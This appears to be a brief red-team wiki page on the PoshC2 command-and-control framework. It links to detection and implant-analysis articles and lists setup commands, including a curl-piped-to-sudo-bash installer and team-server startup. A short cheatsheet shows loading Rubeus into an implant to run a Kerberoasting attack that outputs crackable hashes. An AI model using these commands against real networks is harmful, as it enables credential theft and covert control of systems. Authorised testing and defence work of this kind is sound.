PoshC2

​https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/​
​https://xakep.ru/2023/08/18/interstellar-c2/​
​[PDF] A Deep Dive Into a PoshC2 Implant (Vlad Pasca, Senior Malware)​
Install
​https://github.com/nettitude/PoshC2​
$ curl -sSL https://github.com/nettitude/PoshC2/raw/dev/Install.sh | sudo bash -s -- -p /opt/PoshC2 -b dev
Run
List projects:
$ posh-project -l
Show current project:
$ posh-project -c
Create a new project:
$ posh-project -n <PROJECT_NAME>
Adjust config:
$ posh-config
Start team server:
$ posh-server
Connect to the team server:
$ posh -u snovvcrash
Cheatsheet
​Load .NET assembly and run it (available for agents that load CLR):
C# 01> loadmodule /tmp/Rubeus.exe
C# 01> run-exe Namespace.Class Assembly <args>
C# 01> run-exe Rubeus.Program Rubeus kerberoast /usetgtdeleg /format:hashcat

Last modified 18d ago